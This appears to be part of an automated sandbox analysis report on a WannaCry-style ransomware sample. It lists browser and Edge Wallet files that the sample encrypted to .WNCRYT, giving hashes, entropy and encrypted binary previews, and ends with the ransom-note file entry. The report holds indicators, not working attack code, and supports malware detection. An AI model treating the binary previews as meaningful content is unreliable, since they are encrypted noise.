                                                                                                                                                                              Preview:WANACRY!......_.'K.0...%.V......P.......3#.W.e.dK..D.]..v..X.m~!.D..og...]. d.5u.*...Vd...Q..Z.?r.F../...KW?p.m.|S,h..).....M.\N..n.Q.......6.... [.E..4....VUc........BR..J.H.~......8..,.v....)..e.m.....*...z=..U5..?^#9..A(V..8r.n;.Z.e....V..O.;.P*p....&W.....8..........7!E.<....R....}.@'"....B.&...).&.....9.9f.....A7$`Q......w.b.....xw..ep.y.~....{C.....zk.Gl&..W.5W.i.; .I...x.Qx`*...V....X.{..d.q......]..{%G.:5..G.x..$...1......!....?l@].LN.G^..{v......g..z..J........c....._8.,.......v{...K.8.X.w=..O>.s..Di.....:.(*.B*=y.g.L.0.g...$h..*.9..`i.>.9....m..\...|,.lz.0C....D]......n}.....k.G.O[.?D#;...9R............0..,......g...j.x.3....................f...'^..=..A.........H...L....\..I..50!r.W+.'.qH.Y....t.&..h`...............C.4..b.$\.+.u...0C.K*....Ca.....E..qb.......H.4.Iq.3Y.~...m..n.x.}5oP.`....>.t..V.].%c.VP......\.!.R......m.Rn`..t@.a..cU...>U.ROF..U-ve...e.....Zg...q..kH. ...>U..S.F4-..W[....D.g..v!.. ,/E..M..a.....v..M>U6.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1946312
                                                                                                                                                                              Entropy (8bit):7.999913607340699
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:omiKM6tXfLfDeMnUXHSSat1DuKSHdnJFXQuruyDF0d0:cKTreMnoHSpD3SH5bqyDK0
                                                                                                                                                                              MD5:B3F63E6327FBF71BD52DEE5C8D2BEF23
                                                                                                                                                                              SHA1:A67E23CCB5D0E5CA45FA4DEC3DEFED62A1F73354
                                                                                                                                                                              SHA-256:0A81A73890B4745BDE54F989BF1837D1B05B69A73D204D9C07269B3FCE796F3A
                                                                                                                                                                              SHA-512:0DC3899F0EB9C7B1572ED44E53E93A2AE0B861CE719C4A399737D422420E54F972A2410DCD22C50A34D4EA711B809CCED5580D141116CCD61335590D510CDAF0
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2.X.c...C.G.JU..aa.t>......t.eT.@...iz.J..W...q&.,!..1..z.!..+7@. K...u...|..(I.o..C.i......'w.L.k@<.....hl..:....x.7|...c$...|...S5....s.!1....U.^...k.!U..d"..`4.S.I.9.v..I...y ..Vq:.x...].....c.d....f...{.d...F;(......U.O..R\.5....+._.yY].6..f............!.......|..6..i;..O8@.#...h...vU/Z....KL_.d.....@A...7.I.3..N....{....@..|r...vs.(.e.a.......%...U.....qv ..*.X`.M.)....EK....../|.Mq.*....j....T.`.v.v..q.#2nq..+7.[..... -y.._uU..p....'.f...Gi.\......w\......i....-LM...lD..z.ig....b.q.H(x.N.RiO7..r.==...hd....W..;.9y+jP.[...C.IZ.6E.{....*Or.U..r.....x.f....g...O?......"].2.).:T.%....de..X.wL..>S...Dc.....U&.....x.6....e.6.....3.T. U.......('..T..\ik..4..G-...../A..M.....}..2.w.AN.{.....BA0.vi.rl;*..8r8..$...$........._XKx...jE..>..F..bd'...^...Wi....K....O....:....!ln....[|.r3..@.v..2JI...~!...gN;|....^"....d`.#..)y..:..=.l&..0.>.H.o...?.J.1DV.[........m.....u.(G...t5Ih.K+Vp...Z........X}......2..x..+4...+19......".W..<...tnd.M.O....2

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\hub-signature.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1256
                                                                                                                                                                              Entropy (8bit):7.833294787355614
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkVf6ofr98gofox+CXfXEFUw832oAMiCViXJAilsKxMp7zr/uD6E2JA:bkkiPNXg832xCAXJVxG/jhW
                                                                                                                                                                              MD5:E0F205AF42B63835794EA165F8B35F54
                                                                                                                                                                              SHA1:FCBAF0C58DFFC8AD52E84716FC4F0F4D3E4BEE7A
                                                                                                                                                                              SHA-256:65CC5F1806B2B05374A04D87BE374D2421C7F0747DB4E5A3B892ABB16EE5B74D
                                                                                                                                                                              SHA-512:0C575DA2D9C6F31AE3CAE5B9FC784332CD15C80E2E0EDFB40290CD2F9360F6986A01030700A2FEF525D0402CA324B0C5F2DD0B14623985ED1213663217D64E49
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....l&..Z....W...M.....{...AO{.N..&.S...5...U:.9.J>..~...@7.1..s.:.... ..X..h...:M-]&=.....V.b...E.G..5.p.@.D.SO..xJ[.z..r.\.&>:..\n.)...!.k...~9Q.zN.L....+...... .*.......7L..<. y..{.........Z..z....$Hx.e..$..S.c.Fd.._M.Q...7r.7........w.*F.2/uQ*$.................N#f.....L...9!..AEf.m.....E....LN.!~......_..K.R4C..o.....q`w..g%.#....j1*D,.'.4.5....]ku...>...[..z...#w..w.V.....JX.|}..M..9..Rh.....F..e.........m6v.YQ..C..g.5t..3!.H".0U..I...C.c@.7&..@.....|.q..4..._..&..B.:._.Q.A..4.........#.....*X;.k...L....I....w`..d.nA..:.....c......h.zSU.p)..:.....a.B.Nbt??.%... ..a...yS.....\.....qZ..A....{.k.....H..5W......`...|.y...D....fM.`c..p..n.V..iEg..>.7".b..V..G..k=.>.b......9..M....H.fCn<g.*...K.C..Z..,.`..GGPJ..t..z.....7...LOLg..=..G..fn.WP...u.G.Hq.Q.R......E......k_+f.R.;r...xw.3..a.<A.....3.+#.+..'..^E.._B5WE..i.S7....TY...dDf.c..C.o..........2....<#.....(.'.u.."hk;...!t..."..O.*.u......h/.Oq...J>........a.'H....].. Y{

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\load-hub-i18n.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1624
                                                                                                                                                                              Entropy (8bit):7.884353166487124
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk1R95pES3TCWhuESeA4WOvJlSVU7OLB/wHArCi11xA+ZvqF7jwnh51Skm+Q0:bk1R9F3Ghpe37PULKiNYhkhxm+Q0
                                                                                                                                                                              MD5:ABBCE77CFD6C3A8A1B2414B2305CEB0E
                                                                                                                                                                              SHA1:D86C3973998C4ADD3640942CEC81BB339EF4535B
                                                                                                                                                                              SHA-256:40A3F5267F0065126AA1D27CE9FD902351510ABBC86F6A612D17E735A29BEA76
                                                                                                                                                                              SHA-512:92422997F213909D160A4EBA67B337363E10BEA44B2F5E28A6A688C7EC2A297D2381322BA5D815A8BA93E84DE66DC075B115CE8DD9A1489280075789994626BD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L..pK..s.Q4.TI..@.nY.GS_....D.V..}s..N.....qk#G..*^...%X...s.-...kO&n.......?K..z...h~.OR...eQ.....[N.f0...lU85\R*.......1.....-.Ov*....v......*p#.i.-.0'..B._b?.k.OH;...y........."....5.>.i`. ....q$.d.'.@18n..Z..v.w|....]...i.....B....f....]....4.........c.t.4.$.!..;.3a+MCo#d..d.....y..@...T.%>w........j.]S..Rieh.))..f..I#j%.0_/.S..:.....0a....j...b...'.<u.J.E..z;a5.D.*i.|..p...D+.).C....m.>..)Y........p.BU........%.....yn..l...~...#{f.....dc.............B6.........E.j......QN.F7...j........W5\9.v....SY...........V....aqX-..d~....]T*X..7Q.8M....d.9...N=..s0.zJ.7.4?PTddy...+\.J.R5F...6n.!....b&.5..s.FcC.O..4...#............P.E..o?+.....t...EGX2.8.' x.8!...5...Nh.I..1 .....x....Hl...P@......;....K......6.'F...)......B.h...O..Ig.;i.2..JWD.tn.....7O|J7...K1.k>\c.N._(..I....+.....5':..i.....R0/.ZMp......z^....2..y....kD.....K.6..j....K.+......l...J.q..%.x.....;.....w.:...y.....v(....ZjR0K=..........[c.G[.;, .k&c-9....d.n).2.u......f.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\runtime.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2424
                                                                                                                                                                              Entropy (8bit):7.912882569881887
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk32dNahk0jQ4iIA9QxF8wE50yIADERYXj4bSDIFGgJEGk/HLJC/exZFc:o36NaKGQ4i2Xyrz4bSMlEZrJCWxk
                                                                                                                                                                              MD5:F7192A4B4499414889F65CBDEC00AB75
                                                                                                                                                                              SHA1:F74CAD20F98632A4C8984A00393A3A99E4B140B2
                                                                                                                                                                              SHA-256:5A5CF6E4AA2AC4165E038CE01AAE48B3FEC182703FD26FCB8A89B09A5EA2CB0E
                                                                                                                                                                              SHA-512:A5270D4736B70D2F07A995580365A00B234AD2EAE7F7B0F2C450F04B611D690285B2B98829078703090209259012C84D8CD10E3216780EA10AB784520CF5E36D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M.h.../A?;]..H....8...........;2`...;a[...Q.=...<it.....Q....q.zF.K......y..4.00...(.....;.rQ.E..=I.?|..U..[....#Y6....P.|.8b|Ac.."..&1...0.`....u...._O!@.../.Q...k.9..*.,.*......VdM<..:1...v.....*.....ru..]..!.BeI.z...V I...w.....4.....(.......^.........S.).*+.gBe.Z....+U...CW.q..j......[..:8.+H^..2.>A....I}..A...",..~5..Py.PE.oN..........\.....U.0..7\...u:..L..F.j..J..6....^...;.Q......s._.)....6.eE.w"<. ..y.@..\PEN.N...j....R+.'...k......n.}.A..a[..F.'.... Tc.....*.W.. ..b.).....;77hZ......u......;^..a.5...9...[M..A#.xe.{..........I.O..*6.==..2$IO... .......Q..-.!....p.$..Xp$F.3.rb..7.,..S.i..bJ]...$......s...i\l...C...i.-...E...=.FxC....`}.....9.rs....q...........;......'....>."...w....Y..R'.L;.y...&.W.|...o$!........>A4...k.N:&..F(....u{....h.0.>v..%Q.J....0U...5......>D..J....}...'.PA....1...t..%?.Ej.F..I..{E.H]...$V.zihD........m4.....O.g.8......#.^......t......(.M..."....+..9...-S&.S[Ft...O....$..X.|.-..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):28904
                                                                                                                                                                              Entropy (8bit):7.99294208946404
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:z5mL3DMAyjpa/zEIip1E8g2ujZdm7NQWvD8Us/nzC69tB72nc1bVQiM9MVpf64o:0cRQ/zqp1E8e9A79vDIjtR2YBQiUWo
                                                                                                                                                                              MD5:75CF592CC50DD960AA4D3535D407D8E0
                                                                                                                                                                              SHA1:516982E92260AEF1B6A0F162566788C605192847
                                                                                                                                                                              SHA-256:606506B8FCA6FBD1CB61EE874C91DD57673B0CAA56D6726D4D9350BDEC16901B
                                                                                                                                                                              SHA-512:D572576CC963BA857CAA628D3FA956E44C5DACA58D3EBC09D6441FEB3030373B644887DF574E393D789E72F60CEEA551C4F09928A59073C338E37381581158D5
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............'k%.m...v..e....8H.H3\.3......gV...n.m.&.j../...y....!..{U.A@...p^.k.?.._....s..D.f;.y<Q.....%....u.F.P.c.DP...e....lZ<...x=nik....R$..&...n.fy..#mi......}..{"...A#....5....B..1.....YMq(...U.#z.g.W{B..GrV5...0&.sy.\%ob.Q....D...b..:.q.....o..........q.[..P>.ul.....F.O6?...C..DwB.).wX..m..$4k.gdx.IW.....wD..H.~....j...)..u....i.d.gp}dM......<......(.Y...V.....y..~0.9.......<.Y....?...T`we+../..q...v...9c`b]4+a..........o.k..r8..j.|..5.....a...fE05...\...3.f..K..|>........".Lr...Ds.QU..}T1.,.M9L2j......2.m,.h..T(.../....xX...G;.....I..).h98V..G..@.I1.fS.~..&.....p~O..`..U.^.V...R...B4.=...m..O.ht?..(.o...1h]~Q.pKP.c.....a....=......)c.|7.....~8..X.3".H.'.sJ.....}.e..ZP.q...T."8...I.Y.b\...1...R....9...|.F.g./........E.5.".BIT<...-.f.:qU...K\..O.......6n|.!..~j..);...&....4..?.....8..DpJN.7...?.{.jj3`3.`A'...?.S..&.5.!...z...s.|7...}W|..P%z..@.hL.jw....WF......p..[...0I...c.b....o^...,TM&.`\....y.T....CdN.X........8

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2920
                                                                                                                                                                              Entropy (8bit):7.925651672307855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkcaZ2LKKGDo+unwG8TjuOU4A9Z1oWApwdF6VA0CcsCCgdmmjx5iDqQp7kZW7FV1:ocO0GkSlvjU4AbhApwdF6VA0CcsCCgdW
                                                                                                                                                                              MD5:85E0C9F391375375755C6AF671510B90
                                                                                                                                                                              SHA1:9E1BB6E38A1B234E893622B1A4230B0760DFCD4F
                                                                                                                                                                              SHA-256:08037A24E868838FB31ECBE732C6418190A30D6649BF520518763D67352A0EED
                                                                                                                                                                              SHA-512:128731D61C97E1064CCA90F0645A7723B6FA89C124CE76661AF2E0E07839B84F3D4A6A92F6FF64B33DD40CF9CC00D8D396710A36C27A9ACBD704B321B9F04836
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....+.f.Cv.ev.4....q.CV....KoDk`V0..;..p.'5.D:.....+.N..3V....3.mZ.3..*[.<.G.^..e..xc*......ky;.4....;...z.m..<.'........}.QEJ.d..C..}.....=+..59.....aG......Ft(.-&.[X^..x.T..5.P..}...*].X.J..644....)F.,`M.}....a;.i. oD...0..pD...."..E.Xa...w-.{.dO.......F.......!...4..;...F*...B...X.Qf}....V.SV.N....k..;...@.J..4...w....OX...2.s.7.......M..&.$.._X..15.Z.\up._.NM&..Lt....B.....i8.M.../...?...W,.r..-y.M..o.Lt...._.Jg|..^...!...$'.5.$Q..#lCjLf....Jrb.n..RAZg+_...0R%..S...V.%....4.g...rq/.....9#..>b_{oS.o.Zn8?......QT......q......%..)"V3.#...m~..].....{...w.E...6}.v....:..|`.......-X.`WU.B....:..}..C...'5X^lv...so....zt-.....o.'k.!C.....X..o...Z...V/.{...`O..Pr.....C.<.{..<b)T.PGW_e..(.CR.q~.M....@......X.'..#.p..+...!.-......+....V...n..b.CV.5..3f...m.P.D.`.......bG.P...s....1.v.u+i.....r.u.Jr..e...s|.z.z..>....'....yw.q`&..}^..F...F.?Br....1...$.D{.V/M..+.%...Xf^.... .LH.d^.K.n....(.6.N.g....[..Sw?..+....5.G@j.......C.6-X`..r..O

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1441224
                                                                                                                                                                              Entropy (8bit):7.999891953379313
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:uWop57rtDti30QOVq47Y5bM6fTTPLsBwpH8HUnqOd8pr0ECLAwoXi5/V5yd:uWop53tDE31CAB3Pm+cHUnqOdiYEdtOO
                                                                                                                                                                              MD5:D9550E7B697A0F3BCAE2FE887575E3FC
                                                                                                                                                                              SHA1:10C64C0B09F1F69D47844CE37821AFDA63FB6A58
                                                                                                                                                                              SHA-256:5E7F0BC6B3331ADBF84B59F5E7842229592B7711155C057EE263C54B5D48D388
                                                                                                                                                                              SHA-512:E3A9DCEF12465C2F6E09944D8E74C5B284AD4E5C5CC240D49902B3F7B6EC50F2F4BA20B7022B6454515A287AEEA7A1117DF9AF6C6BEA8A151FA00D4FF5BD8A28
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....}..."p..m.....9&v./...:.}.O...4.vU.C..5.....V.\.....-w>....Y.Y.NR.0.J.y....<....j..H.R.>a.n.....7..'*!.Q_.8"@3.|P...Hm...x.....3T.umk.+w......_{_*F..$....cx...@.G...Xc.4.}.....s.TxBI'....9..{.>..\.w..K..V...B..)7.3,.q.SH..7...z.......jc.Q=.8.............^. ......b...../T...0.....K..;.7.W.xe....F....&.T.V.i.9...<...|x......Z*....pT...yO...]O.*...8o..V..%.Pf...0....{..K..tT.f.x.}.a.(A......[.S.Lk.m.x.K...."..P..T.8...V...v....`./..L...,=.?.......$..i......3..0.I..$.-..........E.[...2[\..k.....K.3 S....ZH............T....;.....\..e.wE../7....!.....<...x...O......E........e.....p.`.....Iv.x.0....r..,.J?..C...%#..1k].kXz..J.....v`.....2K.....[.MRDQF"!.SJ.Fl4.}.7?...L._..M......n.3..G..p....G..R#..}...V.......<f.V]..Gh^.f1..@.L#.....T.!..>.....V..-(..I.Z.N.vzi....:.&...Z.}.#B..+e..<.(...5c...w....bm,.g|0+P.c....{T...<......&.trQZ:7..r=.rBm......{.G;.r....J...v....5.8,...nR^..mz.)...ZCC..#.e.o....9[..~^.&..8.a......;.r.Q..E.%;...R/z.0.-.\....S

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2008
                                                                                                                                                                              Entropy (8bit):7.906039134682304
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk/JetqQ4F06AjqJuUQDjNmsfLpqjCC6/clbsQx4a1:o/Je52mqsNDff4I/cOQZ1
                                                                                                                                                                              MD5:235E11F6EB36EAC3358850DC65452FF3
                                                                                                                                                                              SHA1:AB14C83F44BCA89BA8CC61C2B0C90425DF4F8A4D
                                                                                                                                                                              SHA-256:BCC43B1D90A496CDCEB22646FCB055A4F94DC035BC6B755A4571C7058EBBA25A
                                                                                                                                                                              SHA-512:8D4FFBC9194B0290616D238819006E925158444570C9A040099D40A0013880E516A0877F2BE5E6761BE7582512E8BF8F5268FFD2AE817D85F40111E7A5D53CB4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A....... ..8.s..)I.....6.W.*;...^....o|q#...*".s...L.d<!.....%G.y...i..K....BAIl:.>.v%..M..1R..V....S[.....S...U .>.L..a.Q...6w.i.(.{..[9v....[..^..bu...{.wV.`.4A.u..^.....Q[..|........:.Q>D^s%...\.......~.{.W..k...T......k.l.\9.!3..M{....\7..St............!N.v........S....7..z..3..p........@)|........Zz..C.O/.D...S......#.....!.c9..._L.3.Uz..E}R(.E.'.anV.Gt.[4.nV..DX..^.8_. .').eu'.P)/.)......xV;....s.d..].lw.sh..\(...|..ly..i4.Js....`a..C.N...,*....@.{?.+..V...{..s.......o.N..N..>.<../}.....,_`!8.....a.t{Y.M7..BE^...g1..K..:....}./..X....]j.........q.B..~.wYWg]..#...@!..)..E..K`..M.k.0....WD...RE.-.M....S..7..t......E..."B......r..x...0b6.^'U1c......y1...|uF.:F.....eR.......`e;...Lw. V.9.b.R[...6....p:.....X~O...]w7.3.....a.7{.C0.7W..p.HI..G.9|....=q..+...t........:9...e.d.r5R..r...U.F5.E...:....4.E..~Bo.r.........u.!..v/N..~..P.h.$..1.....<a5.5r....5.G1...U.i~R......YM0...%.i..[E......9f..x.E...D/...E.@...\..D.:S......8..b..c

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2937064
                                                                                                                                                                              Entropy (8bit):7.99993241249752
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:NnDlznOiMnBbXnDjGUfj8blF6mm7uzt5PkJKawqH/zq/RHXbf8zgS8ktX3tNE550:ND9OfnBbvGUfqF6mm7EFkM1qH/zqNLfC
                                                                                                                                                                              MD5:19B3EA9294A7F0E31D1C87CC5FBE4E6B
                                                                                                                                                                              SHA1:6F075D7FCEDDD087842DA211C4DB5BF201CC8241
                                                                                                                                                                              SHA-256:784B838A6E8F0EA0CF30294ADE7BCD2B23E0085993ED72BB46D2D088A263565B
                                                                                                                                                                              SHA-512:4DF57D21CBCECAB377C2FE6C3EF3C36892F6904399B56EC23566E4E946FE7BBE51E88C00D72AF75A3A6A4BA22FB830E0A8911CB688819B24BE24B4EC182BBB01
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....C...R..R6...2..QX....Za......:a.@.}./...`.3..&P.\....8..*T...=.........Ti`>df/..@..d.......\+[spMD1.B.C=..(.....nF..jEI..L..?.Y..!.,.^.w.x..f.....d..@[@g.......o..B..OJ.KB..^.......sK..{.s./...0C....AF.82*...Om..+dc..Q...K..cj8.R...w~t;..#H,llO#.......,......>.....;{Ksu.v.r.X.....3.$..$.5.N..I.t..x.I.......R...*...?.Sf.ot.]M.{R..R..|...S.:..l. 6.w.........r...P~:aQ+..~....@.+b6..l..fd2q......yf.v(..N.......).[.[H...W.)}9../e.UJ..Zc....+.$..C..XF.......M5....V.$..kv.....[.m...G.a..N.RX>v..9..D......'..\.....bJ..`h.... ......,.....g..&0..@.)w...{:Z.....B..>.}..Kv....*..U.e.I.gU.wT].........#.P`1.N.Kz^..z...p!P...s2.P.F.d....T.. ...., 6l<.IJg$.T......i.....K..N..s^.<..Y..f*..!.[.D;Sw.kC...+...MY.tv.p| +.....Vl3...MQ.0R.....lg..*t.....g(I.&..G...4.;....%0....1j...%`.......m.......hY.+...pT..>]0.#....8.O`.b..).c.PO1`.]..I....'.b.....@z.B.K.......I..=}..E'./..:....-..d3.D.......i...g.Ae.q:`oW...8y.&..k.}|.]..}.r..d.K&.$]h...c

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet_donation_driver.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1160
                                                                                                                                                                              Entropy (8bit):7.801015876245078
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6bll+Yj/WhkObp152APDQ8hEX6mlqesjNtm2eKipuhYtp/x1:bkyllVj/Wh5p13PDph0fsjvli8K/z
                                                                                                                                                                              MD5:E850604EF1F698E8AC04A984BA2B98C2
                                                                                                                                                                              SHA1:59498E27572EF4F04E9F9A58B5C17FDD211F82CA
                                                                                                                                                                              SHA-256:9EEECF3C6F519E31AE6C1C811170E919A75673F75EE2C545BFBD7D9437E26399
                                                                                                                                                                              SHA-512:58C99DA719BA8308E1352613F2EDA3141B73CC9C3C5319EEE69D8D75804914DDB0C8FB7B7AF61AAE77B057DB3AA62494A67EDE11FB1B540B3E69300E03D8F1A0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....1aPU.+L.h.y}<.{.h...E,l....M)...MiW.g.9.p...P.2i.\._....."...Lw....}.7H0?.(...^...4...7...2.[.V8.`..6{o...R.D}..v...6P..]...{.Y3.$.....-[C"`J,.w.q4%,L.D...Y.dSk.Pk?..QM...I.?.i....../..\.$m4..,ZJ..C.Y[N.,Z&... .N...M..pZ]a...d3.........qK.._u......a.......z<y.....R...z%..m-..a.@..._n........Rj?}.l.......@pH4Y.eW.dg_{..u....=.......~..&.6..q...`..E8.v=Y.A{^...-..H.O$9.@..G\yYa..I..........;.....=.....I....G....j..<.y..W.^)(.8o+......N.!..Y..E.c....>o 3.7v=.f...W...E.. .|[..yI.aN.E..@.....U.f...Y...l~..x..?K.\.P835.p.p.6y..-.....t.4.-w`..F.....3@.....&..*...u.i[,....|G>j\;.......yH..+..R..x+H.......l..u..n.....C..P.@...c6.).+..r....UG.0A.?0..?.j........u.{..3..]P..oL..Ez.I.....).^.......D.=..;.<....u..X.y.mJ...X..h.BY...fY.8.r...a.J..*.....)....b....@..u|....%...*....G......)t..*...=..uG...........E.c.J%*..aq$uTbC?....4t......*H...$..B....O..I....}.p........".O.:k){..Y.Y....=...^.!.....N4.2h$l......d........H.#......

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\adblock_snippet.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2600
                                                                                                                                                                              Entropy (8bit):7.920795436258108
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkrveaFYhpxiWq4fakrXwaAw2+Ayyctkhlfpuuy+QR146x8f7F/jRZRgXECoCj3I:orea8xiW1fakrww2+6zfsL2fBRgXX7gh
                                                                                                                                                                              MD5:E5E00E8D6A1F92CF21272A9DB3C8C5E1
                                                                                                                                                                              SHA1:06E539377C7A3AF22F35A4D19FB0C1276527C93E
                                                                                                                                                                              SHA-256:A1A4AF5D7F638EAA7358AF8A6FC6467DEE9CB98F38CDA2498945693CB8A64F30
                                                                                                                                                                              SHA-512:F74A17850E8858496603D371EBF9BAB9AFA1425904E7D75836A559DC3A343FDD968CEA7D71701F32D80E1CAB3196253FB1AA72AC37C32104A16CA3D80082E439
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....[=?s..H?....n..s.W)..%..i!R........K.I.../..Bv...O..w....C,.yMy.8..e.{.X....(..r\..9.Z.......B....WY.1x'.r....76..n.~...9XV#..u8.,..%(.z[..P.c.~..}6...Ic.Jg.C.....n1..D.....(..6b..D.A3z../D..@._.....k.p.&V0.v'......4......%.C.;.?v.....b..9....................t...vB....[.?..d....a .R.z..w.x.:...U....~...FLh8.7....?........fY.........?&5...7.7.Y.'Q.h.........v.%...z...u......gd......R.P=^...c....r.(... ........N..f.N.C:sZL....-....s.Wuv.....a.{.O...7.|B\.....H..a(.S.A}.fgz<r..z%a..)=...98....5.,.....q.6.GS........D..k.Q.5...M..l}....L]....J>$..h....z...-.b.3..oZ .........B.D..@54..........W.V..@..}...F.;43...?...X.G..;^.{7\.b<.K.$'...i.M|.|......Kr.K..z...;.E*.........<..`.. ...{..\..Y^..u...^K^..p..$.........qi.$.....s?...G...n!.......xWN+^Q.e..ZE.f'..i..7p.XB..Oz...g%.._..*].....{......."..q.....bP./.....79.jA.q..{.)..^..!......Z6.Q.z.....7'.<.7o.2..I.]b.p...........*BH...:..01.C...4*.Iz.]@"B*[.<.b|H.8\..J...V]}...$l

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
